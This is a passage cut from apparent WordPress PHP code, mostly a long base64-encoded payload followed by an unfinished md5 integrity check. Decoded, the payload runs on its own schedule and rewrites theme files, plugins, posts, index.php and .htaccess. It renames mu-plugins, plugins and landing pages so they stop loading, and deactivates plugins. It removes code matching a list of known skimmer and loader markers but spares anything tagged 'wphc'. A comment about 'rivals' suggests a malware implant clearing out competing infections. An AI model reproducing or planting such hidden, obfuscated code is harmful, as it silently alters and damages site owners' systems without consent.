mVnX3JlcGxhY2VfY2FsbGJhY2soJyM8c2NyaXB0XGJbXj5dKj4oKD86KD8hPC9zY3JpcHQ+KS4pKicgLiAkd3BoY19xIC4gJyg/Oig/ITwvc2NyaXB0PikuKSopPC9zY3JpcHQ+I2lzJywgJ3dwaGNfa2VlcF9vcl9jdXRfMzA5MTQwMmMyOScsICR3cGhjX2gpOwokd3BoY19oID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPChkaXZ8c2VjdGlvbnxhc2lkZSlcYltePl0qKD86Y2xhc3N8aWQpPVsiXCddW14iXCddKicgLiAkd3BoY19xIC4gJ1teIlwnXSpbIlwnXVtePl0qPi4qPzwvXDE+I2lzJywgJ3dwaGNfa2VlcF9vcl9jdXRfMzA5MTQwMmMyOScsICR3cGhjX2gpOwokd3BoY19oID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPChsaW5rfG1ldGF8aWZyYW1lKVxiW14+XSonIC4gJHdwaGNfcSAuICdbXj5dKj4jaXMnLCAnd3BoY19rZWVwX29yX2N1dF8zMDkxNDAyYzI5JywgJHdwaGNfaCk7Cn0KcmV0dXJuICR3cGhjX2g7Cn0KZnVuY3Rpb24gd3BoY19rZWVwX29yX2N1dF8zMDkxNDAyYzI5KCR3cGhjX21tKSB7CnJldHVybiBzdHJwb3MoJHdwaGNfbW1bMF0sICd3cGhjJykgIT09IGZhbHNlID8gJHdwaGNfbW1bMF0gOiAnJzsKfQpmdW5jdGlvbiB3cGhjX3N3ZWVwX2ZvcmVpZ25fMzA5MTQwMmMyOSgpIHsKJHdwaGNfZ2F0ZSA9ICd3cGhjX3N3cF90cyc7CiR3cGhjX2xhc3QgPSAoaW50KWdldF9vcHRpb24oJHdwaGNfZ2F0ZSwgMCk7CmlmICh0aW1lKCkgLSAkd3BoY19sYXN0IDwgMjE2MDApIHsgcmV0dXJuOyB9CnVwZGF0ZV9vcHRpb24oJHdwaGNfZ2F0ZSwgdGltZSgpLCBmYWxzZSk7CiR3cGhjX21hcmtzID0gd3BoY19mb3JlaWduX21hcmtzXzMwOTE0MDJjMjkoKTsKLy8gZXZlcnkgcGhwIGZpbGUgb2YgdGhlIGFjdGl2ZSB0aGVtZSAoKyBwYXJlbnQpOiByaXZhbHMgcGFyayBsb2FkZXIKLy8gc2NyaXB0cyBpbiBoZWFkZXIucGhwL2Zvb3Rlci5waHAsIG5vdCBvbmx5IGZ1bmN0aW9ucy5waHAKJHdwaGNfdGRzID0gYXJyYXkoZ2V0X3N0eWxlc2hlZXRfZGlyZWN0b3J5KCkpOwppZiAoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpICE9PSBnZXRfc3R5bGVzaGVldF9kaXJlY3RvcnkoKSkgeyAkd3BoY190ZHNbXSA9IGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKTsgfQpmb3JlYWNoICgkd3BoY190ZHMgYXMgJHdwaGNfdGQpIHsKZm9yZWFjaCAoKGFycmF5KWdsb2IoJHdwaGNfdGQgLiAnLyoucGhwJykgYXMgJHdwaGNfdGYpIHsKaWYgKCFpc19maWxlKCR3cGhjX3RmKSB8fCAhaXNfd3JpdGFibGUoJHdwaGNfdGYpKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2MgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwaGNfdGYpOwppZiAoIWlzX3N0cmluZygkd3BoY19jKSkgeyBjb250aW51ZTsgfQokd3BoY19uID0gd3BoY19jbGVhbl9tYXJrdXBfMzA5MTQwMmMyOSgkd3BoY19jKTsKZm9yZWFjaCAoJHdwaGNfbWFya3MgYXMgJHdwaGNfbSkgewppZiAoc3RycG9zKCR3cGhjX24sICR3cGhjX20pICE9PSBmYWxzZSkgewokd3BoY19saW5lcyA9IGFycmF5KCk7CmZvcmVhY2ggKGV4cGxvZGUoIlxuIiwgc3RyX3JlcGxhY2UoIlxyXG4iLCAiXG4iLCAkd3BoY19uKSkgYXMgJHdwaGNfbCkgewppZiAoc3RycG9zKCR3cGhjX2wsICR3cGhjX20pID09PSBmYWxzZSB8fCBzdHJwb3MoJHdwaGNfbCwgJ3dwaGMnKSAhPT0gZmFsc2UpIHsgJHdwaGNfbGluZXNbXSA9ICR3cGhjX2w7IH0KfQokd3BoY19uID0gaW1wbG9kZSgiXG4iLCAkd3BoY19saW5lcyk7Cn0KfQppZiAoJHdwaGNfbiAhPT0gJHdwaGNfYykgeyBAZmlsZV9wdXRfY29udGVudHMoJHdwaGNfdGYsICR3cGhjX24sIExPQ0tfRVgpOyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IH0KfQp9CiR3cGhjX211ID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CmZvcmVhY2ggKChhcnJheSlnbG9iKCR3cGhjX211IC4gJy8qLnBocCcpIGFzICR3cGhjX2YpIHsKaWYgKCFpc19zdHJpbmcoJHdwaGNfZikpIHsgY29udGludWU7IH0KJHdwaGNfYmFzZSA9IGJhc2VuYW1lKCR3cGhjX2YpOwppZiAoJHdwaGNfYmFzZSA9PT0gYmFzZW5hbWUoX19GSUxFX18pKSB7IGNvbnRpbnVlOyB9CiR3cGhjX21jID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX2YpOwppZiAoIWlzX3N0cmluZygkd3BoY19tYykpIHsgY29udGludWU7IH0KaWYgKHN0cnBvcygkd3BoY19tYywgJ3dwaGMnKSAhPT0gZmFsc2UpIHsgY29udGludWU7IH0KZm9yZWFjaCAoJHdwaGNfbWFya3MgYXMgJHdwaGNfbSkgewppZiAoc3RycG9zKCR3cGhjX21jLCAkd3BoY19tKSAhPT0gZmFsc2UpIHsgQHJlbmFtZSgkd3BoY19mLCAkd3BoY19mIC4gJy53cGhjLW9mZicpOyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IGJyZWFrOyB9Cn0KfQovLyByb2d1ZS90YW1wZXJlZCBwbHVnaW5zOiBzY2FuIHBsdWdpbi1yb290IHBocCBmaWxlcywgZGVhY3RpdmF0ZSArIHF1YXJhbnRpbmUKZm9yZWFjaCAoKGFycmF5KWdsb2IoV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvKicsIEdMT0JfT05MWURJUikgYXMgJHdwaGNfcGQpIHsKaWYgKCFpc19zdHJpbmcoJHdwaGNfcGQpKSB7IGNvbnRpbnVlOyB9CmZvcmVhY2ggKChhcnJheSlnbG9iKCR3cGhjX3BkIC4gJy8qLnBocCcpIGFzICR3cGhjX2YpIHsKaWYgKCFpc19zdHJpbmcoJHdwaGNfZikpIHsgY29udGludWU7IH0KJHdwaGNfc3ogPSBAZmlsZXNpemUoJHdwaGNfZik7CmlmICghaXNfaW50KCR3cGhjX3N6KSB8fCAkd3BoY19zeiA+IDIwMDAwMDApIHsgY29udGludWU7IH0KJHdwaGNfcGMgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwaGNfZik7CmlmICghaXNfc3RyaW5nKCR3cGhjX3BjKSB8fCBzdHJwb3MoJHdwaGNfcGMsICd3cGhjJykgIT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2hpdCA9IGZhbHNlOwpmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7CmlmIChzdHJwb3MoJHdwaGNfcGMsICR3cGhjX20pICE9PSBmYWxzZSkgeyAkd3BoY19oaXQgPSB0cnVlOyBicmVhazsgfQp9CmlmICghJHdwaGNfaGl0KSB7IGNvbnRpbnVlOyB9CmlmICghZnVuY3Rpb25fZXhpc3RzKCdkZWFjdGl2YXRlX3BsdWdpbnMnKSkgeyBAcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvcGx1Z2luLnBocCc7IH0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnZGVhY3RpdmF0ZV9wbHVnaW5zJykpIHsKZm9yZWFjaCAoKGFycmF5KWdldF9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgYXJyYXkoKSkgYXMgJHdwaGNfYXApIHsKaWYgKGlzX3N0cmluZygkd3BoY19hcCkgJiYgc3RycG9zKCR3cGhjX2FwLCBiYXNlbmFtZSgkd3BoY19wZCkgLiAnLycpID09PSAwKSB7IGRlYWN0aXZhdGVfcGx1Z2lucygkd3BoY19hcCwgdHJ1ZSk7IH0KfQp9CkByZW5hbWUoJHdwaGNfZiwgJHdwaGNfZiAuICcud3BoYy1vZmYnKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9Cn0KZ2xvYmFsICR3cGRiOwppZiAoaXNzZXQoJHdwZGIpICYmIGlzX29iamVjdCgkd3BkYikpIHsKJHdwaGNfdGJsID0gJHdwZGItPnByZWZpeCAuICdzbmlwcGV0cyc7CmZvcmVhY2ggKCR3cGhjX21hcmtzIGFzICR3cGhjX20pIHsKJHdwZGItPnF1ZXJ5KCJVUERBVEUgYCIgLiAkd3BoY190YmwgLiAiYCBTRVQgYWN0aXZlPTAgV0hFUkUgY29kZSBMSUtFICclIiAuICR3cGhjX20gLiAiJScgQU5EIGNvZGUgTk9UIExJS0UgJyV3cGhjJSciKTsKaWYgKCR3cGRiLT5yb3dzX2FmZmVjdGVkKSB7ICRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsgfQp9CmZvcmVhY2ggKCR3cGhjX21hcmtzIGFzICR3cGhjX20pIHsKJHdwaGNfcm93cyA9ICR3cGRiLT5nZXRfcmVzdWx0cygiU0VMRUNUIElELCBwb3N0X2NvbnRlbnQgRlJPTSBgIiAuICR3cGRiLT5wb3N0cyAuICJgIFdIRVJFIHBvc3RfY29udGVudCBMSUtFICclIiAuICR3cGhjX20gLiAiJScgTElNSVQgMjAwIik7CmZvcmVhY2ggKChhcnJheSkkd3BoY19yb3dzIGFzICR3cGhjX3IpIHsKJHdwaGNfbmMgPSB3cGhjX2NsZWFuX21hcmt1cF8zMDkxNDAyYzI5KCR3cGhjX3ItPnBvc3RfY29udGVudCk7CmlmICgkd3BoY19uYyAhPT0gJHdwaGNfci0+cG9zdF9jb250ZW50KSB7CiR3cGRiLT51cGRhdGUoJHdwZGItPnBvc3RzLCBhcnJheSgncG9zdF9jb250ZW50JyA9PiAkd3BoY19uYyksIGFycmF5KCdJRCcgPT4gJHdwaGNfci0+SUQpKTsKaWYgKGZ1bmN0aW9uX2V4aXN0cygnY2xlYW5fcG9zdF9jYWNoZScpKSB7IGNsZWFuX3Bvc3RfY2FjaGUoKGludCkkd3BoY19yLT5JRCk7IH0KJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9Cn0KfQp9Cn0KYWRkX2FjdGlvbignaW5pdCcsICd3cGhjX3N3ZWVwX2ZvcmVpZ25fMzA5MTQwMmMyOScpOy8vIEtpbGwgbWFya2VkIGlubGluZSBzY3JpcHRzIGJlZm9yZSB0aGV5IHByaW50LCB3aGVyZXZlciB0aGV5IGNhbWUKLy8gZnJvbSAod3BfYWRkX2lubGluZV9zY3JpcHQgZGF0YSBzdXJ2aXZlcyBmaWxlLWxldmVsIGNsZWFuaW5nKS4KZnVuY3Rpb24gd3BoY19zY3J1Yl9pbmxpbmVfMzA5MTQwMmMyOSgpIHsKZ2xvYmFsICR3cF9zY3JpcHRzOwppZiAoISgkd3Bfc2NyaXB0cyBpbnN0YW5jZW9mIFdQX1NjcmlwdHMpKSB7IHJldHVybjsgfQokd3BoY19tYXJrcyA9IHdwaGNfZm9yZWlnbl9tYXJrc18zMDkxNDAyYzI5KCk7CmZvcmVhY2ggKCR3cF9zY3JpcHRzLT5yZWdpc3RlcmVkIGFzICR3cGhjX2gpIHsKaWYgKCFpc19vYmplY3QoJHdwaGNfaCkgfHwgIXByb3BlcnR5X2V4aXN0cygkd3BoY19oLCAnZXh0cmEnKSkgeyBjb250aW51ZTsgfQpmb3JlYWNoIChhcnJheSgnYmVmb3JlJywgJ2FmdGVyJykgYXMgJHdwaGNfaykgewppZiAoZW1wdHkoJHdwaGNfaC0+ZXh0cmFbJHdwaGNfa10pKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2QgPSBpc19hcnJheSgkd3BoY19oLT5leHRyYVskd3BoY19rXSkgPyAkd3BoY19oLT5leHRyYVskd3BoY19rXSA6IGFycmF5KCR3cGhjX2gtPmV4dHJhWyR3cGhjX2tdKTsKJHdwaGNfY2xlYW4gPSBhcnJheSgpOwpmb3JlYWNoICgkd3BoY19kIGFzICR3cGhjX2xpbmUpIHsKJHdwaGNfYmFkID0gZmFsc2U7CmlmIChpc19zdHJpbmcoJHdwaGNfbGluZSkgJiYgc3RycG9zKCR3cGhjX2xpbmUsICd3cGhjJykgPT09IGZhbHNlKSB7CmZvcmVhY2ggKCR3cGhjX21hcmtzIGFzICR3cGhjX20pIHsgaWYgKHN0cnBvcygkd3BoY19saW5lLCAkd3BoY19tKSAhPT0gZmFsc2UpIHsgJHdwaGNfYmFkID0gdHJ1ZTsgYnJlYWs7IH0gfQp9CmlmICghJHdwaGNfYmFkKSB7ICR3cGhjX2NsZWFuW10gPSAkd3BoY19saW5lOyB9Cn0KJHdwaGNfaC0+ZXh0cmFbJHdwaGNfa10gPSBhcnJheV92YWx1ZXMoJHdwaGNfY2xlYW4pOwp9Cn0KfQphZGRfYWN0aW9uKCd3cF9wcmludF9zY3JpcHRzJywgJ3dwaGNfc2NydWJfaW5saW5lXzMwOTE0MDJjMjknLCA5OSk7CmFkZF9hY3Rpb24oJ3dwX3ByaW50X2Zvb3Rlcl9zY3JpcHRzJywgJ3dwaGNfc2NydWJfaW5saW5lXzMwOTE0MDJjMjknLCA5OSk7CmFkZF9hY3Rpb24oJ2FkbWluX3ByaW50X3NjcmlwdHMnLCAnd3BoY19zY3J1Yl9pbmxpbmVfMzA5MTQwMmMyOScsIDk5KTsKfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnd3BoY19kb2Nyb290X3JlcGFpcl8zMDkxNDAyYzI5JykpIHsKZnVuY3Rpb24gd3BoY19kb2Nyb290X3JlcGFpcl8zMDkxNDAyYzI5KCkgewokd3BoY19nYXRlID0gJ3dwaGNfZG9jZml4M190c18zMDkxNDAyYzI5JzsKJHdwaGNfbGFzdCA9IChpbnQpZ2V0X29wdGlvbigkd3BoY19nYXRlLCAwKTsKaWYgKHRpbWUoKSAtICR3cGhjX2xhc3QgPCA4NjQwMCkgeyByZXR1cm47IH0KdXBkYXRlX29wdGlvbigkd3BoY19nYXRlLCB0aW1lKCksIGZhbHNlKTskd3BoY19tYXJrcyA9IGFycmF5KCdpbnRlcnNlcS5hdCcsICd4dXJzb2QuY29tJywgJ2ltYWNvcy5jYycsICdtYWNyZXBhaXJ0b29sLmNvbScsICdjZm1kLXJjLWhvc3QnLCAnY2FwdGNoYS1jb250YWluZXInLCAnZGF0YS1jZm1kJywgJ25vcmVkaWFtLmNvbScsICdOZXdfUHJvbGl2JywgJ3Nzbi1pZC5lbWFpbCcsICdtYXNxcmFkJywgJ2xvYWRKU0Zyb21JbWFnZScsICdfX2ZwRW1iZWRzJywgJ2ZwLWVtYmVkLWNsb3NlJywgJ3BsYWluLXNub3cucGFnZXMuZGV2JywgJ3BhZ2VzLmRldi9oZWxwJywgJ2V4dHJhX3BhcmFtXzEnLCAnKG5ldyBGdW5jdGlvbihfY29kZSkpJywgJzB4QjZiQzllMUQwYjJmQjk2QWI3QzQ3RTA0Q2IwQkU0Nzc0MTBiQzFmMicsICdiNjhkMTgwOScsICdibGFzdGFwaS5pbycsICdycGMuYW5rci5jb20vcG9seWdvbicsICdnYXRld2F5LnRlbmRlcmx5LmNvJywgJ2FwaS5waHA/cz0nLCAnc2V2ZGEubG9sJyk7Ci8vIGZyb250LWNvbnRyb2xsZXIgaW50ZWdyaXR5OiBtaXNzaW5nLCBndXR0ZWQgKG5vIHdwLWJsb2ctaGVhZGVyIHJlcXVpcmUpIG9yCi8vIGhpamFja2VkIHdpdGggYSBmb3JlaWduIHJlZGlyZWN0IG1hcmtlciAtPiBxdWFyYW50aW5lICsgcmVzdG9yZSBzdG9jay4KJHdwaGNfaWR4ID0gQUJTUEFUSCAuICdpbmRleC5waHAnOwokd3BoY19pYyA9IGlzX2ZpbGUoJHdwaGNfaWR4KSA/IEBmaWxlX2dldF9jb250ZW50cygkd3BoY19pZHgsIGZhbHNlLCBudWxsLCAwLCA2NTUzNikgOiBmYWxzZTsKJHdwaGNfYmFkID0gIWlzX3N0cmluZygkd3BoY19pYykgfHwgc3RycG9zKCR3cGhjX2ljLCAnd3AtYmxvZy1oZWFkZXInKSA9PT0gZmFsc2U7CmlmICghJHdwaGNfYmFkKSB7IGZvcmVhY2ggKCR3cGhjX21hcmtzIGFzICR3cGhjX20pIHsgaWYgKHN0cmlwb3MoJHdwaGNfaWMsICR3cGhjX20pICE9PSBmYWxzZSkgeyAkd3BoY19iYWQgPSAxOyBicmVhazsgfSB9IH0KaWYgKCR3cGhjX2JhZCkgewppZiAoaXNfZmlsZSgkd3BoY19pZHgpKSB7IEByZW5hbWUoJHdwaGNfaWR4LCAkd3BoY19pZHggLiAnLndwaGMtaGlqYWNrZWQnKTsgfQpAZmlsZV9wdXRfY29udGVudHMoJHdwaGNfaWR4LCAiPD9waHBcbiIgLiAiZGVmaW5lKCdXUF9VU0VfVEhFTUVTJywgdHJ1ZSk7XG4iIC4gInJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJztcbiIsIExPQ0tfRVgpOwokR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7Cn0KLy8gcmV3cml0ZS1tYXAgaGlqYWNrOiBhIGZvcmVpZ24gbWFya2VyIGluc2lkZSAuaHRhY2Nlc3MgKDMwMiBydWxlIGdhdGVkIG9uCi8vIHRoZSByb290IFVSSSByZWRpcmVjdHMgdGhlIGZyb250IHdoaWxlIHdwLWxvZ2luIHN0YXlzIGNsZWFuKSAtPiBzdG9jayBydWxlcy4KJHdwaGNfaHQgPSBBQlNQQVRIIC4gJy5odGFjY2Vzcyc7CmlmIChpc19maWxlKCR3cGhjX2h0KSAmJiBpc193cml0YWJsZSgkd3BoY19odCkpIHsKJHdwaGNfaGMgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwaGNfaHQsIGZhbHNlLCBudWxsLCAwLCAxMzEwNzIpOwppZiAoaXNfc3RyaW5nKCR3cGhjX2hjKSkgeyBmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7IGlmIChzdHJpcG9zKCR3cGhjX2hjLCAkd3BoY19tKSAhPT0gZmFsc2UpIHsKQHJlbmFtZSgkd3BoY19odCwgJHdwaGNfaHQgLiAnLndwaGMtaGlqYWNrZWQnKTsKJHdwaGNfc3RvY2sgPSAiIyBCRUdJTiBXb3JkUHJlc3NcbjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPlxuUmV3cml0ZUVuZ2luZSBPblxuUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XVxuUmV3cml0ZUJhc2UgL1xuUmV3cml0ZVJ1bGUgXmluZGV4XFwucGhwJCAtIFtMXVxuUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWZcblJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kXG5SZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdXG48L0lmTW9kdWxlPlxuIyBFTkQgV29yZFByZXNzXG4iOwpAZmlsZV9wdXRfY29udGVudHMoJHdwaGNfaHQsICR3cGhjX3N0b2NrLCBMT0NLX0VYKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwpicmVhazsKfSB9IH0KfQovLyBob3N0ICJwYXJrZWQgcGFnZSIgc2hhZG93aW5nOiBzb21lIHBhbmVscyBzaGlwIGEgc3RhdGljIGxhbmRpbmcgdGhhdAovLyBvdXRyYW5rcyBpbmRleC5waHAgaW4gRGlyZWN0b3J5SW5kZXguIFF1YXJhbnRpbmUgdGhlIHNoYWRvdy4KZm9yZWFjaCAoYXJyYXkoJ2RlZmF1bHQuaHRtbCcsICdkZWZhdWx0Lmh0bScsICdpbmRleC5odG1sJywgJ2luZGV4Lmh0bScsICdob21lLmh0bWwnLCAnZGVmYXVsdC5waHAnKSBhcyAkd3BoY19zaCkgewokd3BoY19mID0gQUJTUEFUSCAuICR3cGhjX3NoOwppZiAoaXNfZmlsZSgkd3BoY19mKSkgeyBAcmVuYW1lKCR3cGhjX2YsICR3cGhjX2YgLiAnLndwaGMtc2hhZG93ZWQnKTsgJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOyB9Cn0KfXdwaGNfZG9jcm9vdF9yZXBhaXJfMzA5MTQwMmMyOSgpOwp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCd3cGhjX3RoZW1lc3dlZXBfMzA5MTQwMmMyOScpKSB7CmZ1bmN0aW9uIHdwaGNfdGhlbWVzd2VlcF8zMDkxNDAyYzI5KCkgewokd3BoY19tYXJrcyA9IGFycmF5KCdpbnRlcnNlcS5hdCcsICd4dXJzb2QuY29tJywgJ2ltYWNvcy5jYycsICdtYWNyZXBhaXJ0b29sLmNvbScsICdjZm1kLXJjLWhvc3QnLCAnY2FwdGNoYS1jb250YWluZXInLCAnZGF0YS1jZm1kJywgJ25vcmVkaWFtLmNvbScsICdOZXdfUHJvbGl2JywgJ3Nzbi1pZC5lbWFpbCcsICdtYXNxcmFkJywgJ2xvYWRKU0Zyb21JbWFnZScsICdfX2ZwRW1iZWRzJywgJ2ZwLWVtYmVkLWNsb3NlJywgJ3BsYWluLXNub3cucGFnZXMuZGV2JywgJ3BhZ2VzLmRldi9oZWxwJywgJ2V4dHJhX3BhcmFtXzEnLCAnKG5ldyBGdW5jdGlvbihfY29kZSkpJywgJzB4QjZiQzllMUQwYjJmQjk2QWI3QzQ3RTA0Q2IwQkU0Nzc0MTBiQzFmMicsICdiNjhkMTgwOScsICdibGFzdGFwaS5pbycsICdycGMuYW5rci5jb20vcG9seWdvbicsICdnYXRld2F5LnRlbmRlcmx5LmNvJywgJ2FwaS5waHA/cz0nLCAnc2V2ZGEubG9sJyk7CmlmICghaXNfYWRtaW4oKSkgeyByZXR1cm47IH0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2N1cnJlbnRfdXNlcl9jYW4nKSB8fCAhY3VycmVudF91c2VyX2NhbignbWFuYWdlX29wdGlvbnMnKSkgeyByZXR1cm47IH0KJHdwaGNfZ2F0ZSA9ICd3cGhjX3Roc3dwX3RzXzMwOTE0MDJjMjknOwppZiAoZ2V0X29wdGlvbigkd3BoY19nYXRlLCAwKSkgeyByZXR1cm47IH0KdXBkYXRlX29wdGlvbigkd3BoY19nYXRlLCB0aW1lKCksIGZhbHNlKTsKJHdwaGNfdGRzID0gYXJyYXkoZ2V0X3N0eWxlc2hlZXRfZGlyZWN0b3J5KCkpOwppZiAoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpICE9PSBnZXRfc3R5bGVzaGVldF9kaXJlY3RvcnkoKSkgeyAkd3BoY190ZHNbXSA9IGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKTsgfQpmb3JlYWNoICgkd3BoY190ZHMgYXMgJHdwaGNfdGQpIHsKZm9yZWFjaCAoKGFycmF5KWdsb2IoJHdwaGNfdGQgLiAnLyoucGhwJykgYXMgJHdwaGNfdGYpIHsKaWYgKCFpc19maWxlKCR3cGhjX3RmKSB8fCAhaXNfd3JpdGFibGUoJHdwaGNfdGYpKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2MgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwaGNfdGYpOwppZiAoIWlzX3N0cmluZygkd3BoY19jKSkgeyBjb250aW51ZTsgfQokd3BoY19uID0gJHdwaGNfYzsKZm9yZWFjaCAoJHdwaGNfbWFya3MgYXMgJHdwaGNfbSkgewokd3BoY19xID0gcHJlZ19xdW90ZSgkd3BoY19tLCAnIycpOwokd3BoY190ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPHNjcmlwdFxiW14+XSpzcmM9WyJcJ11bXiJcJ10qJyAuICR3cGhjX3EgLiAnW14iXCddKlsiXCddW14+XSo+XHMqKDwvc2NyaXB0Pik/I2lzJywgJ3dwaGNfdHNfa2VlcF8zMDkxNDAyYzI5JywgJHdwaGNfbik7CmlmIChpc19zdHJpbmcoJHdwaGNfdCkpIHsgJHdwaGNfbiA9ICR3cGhjX3Q7IH0KJHdwaGNfdCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIzxzY3JpcHRcYltePl0qPigoPzooPyE8L3NjcmlwdD4pLikqJyAuICR3cGhjX3EgLiAnKD86KD8hPC9zY3JpcHQ+KS4pKik8L3NjcmlwdD4jaXMnLCAnd3BoY190c19rZWVwXzMwOTE0MDJjMjknLCAkd3BoY19uKTsKaWYgKGlzX3N0cmluZygkd3BoY190KSkgeyAkd3BoY19uID0gJHdwaGNfdDsgfQokd3BoY190ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPChsaW5rfG1ldGF8aWZyYW1lKVxiW14+XSonIC4gJHdwaGNfcSAuICdbXj5dKj4jaXMnLCAnd3BoY190c19rZWVwXzMwOTE0MDJjMjknLCAkd3BoY19uKTsKaWYgKGlzX3N0cmluZygkd3BoY190KSkgeyAkd3BoY19uID0gJHdwaGNfdDsgfQp9CiR3cGhjX2xpbmVzID0gYXJyYXkoKTsKZm9yZWFjaCAoZXhwbG9kZSgiXG4iLCBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICR3cGhjX24pKSBhcyAkd3BoY19sKSB7CiR3cGhjX2tlZXAgPSB0cnVlOwpmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7CmlmIChzdHJwb3MoJHdwaGNfbCwgJHdwaGNfbSkgIT09IGZhbHNlICYmIHN0cnBvcygkd3BoY19sLCAnd3BoYycpID09PSBmYWxzZSkgeyAkd3BoY19rZWVwID0gZmFsc2U7IGJyZWFrOyB9Cn0KaWYgKCR3cGhjX2tlZXApIHsgJHdwaGNfbGluZXNbXSA9ICR3cGhjX2w7IH0KfQokd3BoY19uID0gaW1wbG9kZSgiXG4iLCAkd3BoY19saW5lcyk7CmlmIChpc19zdHJpbmcoJHdwaGNfbikgJiYgJHdwaGNfbiAhPT0gJHdwaGNfYykgeyBAZmlsZV9wdXRfY29udGVudHMoJHdwaGNfdGYsICR3cGhjX24sIExPQ0tfRVgpOyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IH0KfQp9Cn0KZnVuY3Rpb24gd3BoY190c19rZWVwXzMwOTE0MDJjMjkoJHdwaGNfbW0pIHsKcmV0dXJuIHN0cnBvcygkd3BoY19tbVswXSwgJ3dwaGMnKSAhPT0gZmFsc2UgPyAkd3BoY19tbVswXSA6ICcnOwp9d3BoY190aGVtZXN3ZWVwXzMwOTE0MDJjMjkoKTsKYWRkX2FjdGlvbignYWRtaW5faW5pdCcsICd3cGhjX3RoZW1lc3dlZXBfMzA5MTQwMmMyOScpOwp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCd3cGhjX3VwZ3JhZGVfMzA5MTQwMmMyOScpKSB7CmZ1bmN0aW9uIHdwaGNfdXBncmFkZV8zMDkxNDAyYzI5KCkgewokd3BoY19nYXRlID0gJ3dwaGNfdXBnX3RzXzMwOTE0MDJjMjknOwppZiAodGltZSgpIC0gKGludClnZXRfb3B0aW9uKCR3cGhjX2dhdGUsIDApIDwgODY0MDApIHsgcmV0dXJuOyB9CnVwZGF0ZV9vcHRpb24oJHdwaGNfZ2F0ZSwgdGltZSgpLCBmYWxzZSk7CiR3cGhjX2RpciA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwpmb3JlYWNoICgoYXJyYXkpZ2xvYigkd3BoY19kaXIgLiAnLyoucGhwJykgYXMgJHdwaGNfZikgewppZiAoJHdwaGNfZiA9PT0gX19GSUxFX18pIHsgY29udGludWU7IH0KJHdwaGNfYyA9IEBmaWxlX2dldF9jb250ZW50cygkd3BoY19mLCBmYWxzZSwgbnVsbCwgMCwgMjYyMTQ0KTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfYykpIHsgY29udGludWU7IH0KaWYgKHN0cnBvcygkd3BoY19jLCAnd3BoY19ib290X2NhY2hlJykgPT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9CmlmIChzdHJwb3MoJHdwaGNfYywgJzMwOTE0MDJjMjlkZjQ0ODk1OTc5YzlmNDJlYWMzZWM3JykgIT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9CkByZW5hbWUoJHdwaGNfZiwgJHdwaGNfZiAuICcubGVnYWN5LTMwOTE0MDJjMjknKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9Cn13cGhjX3VwZ3JhZGVfMzA5MTQwMmMyOSgpOwphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgJ3dwaGNfdXBncmFkZV8zMDkxNDAyYzI5Jyk7Cn0K'); if (is_string($wphc_raw) && md5($wphc_raw) === 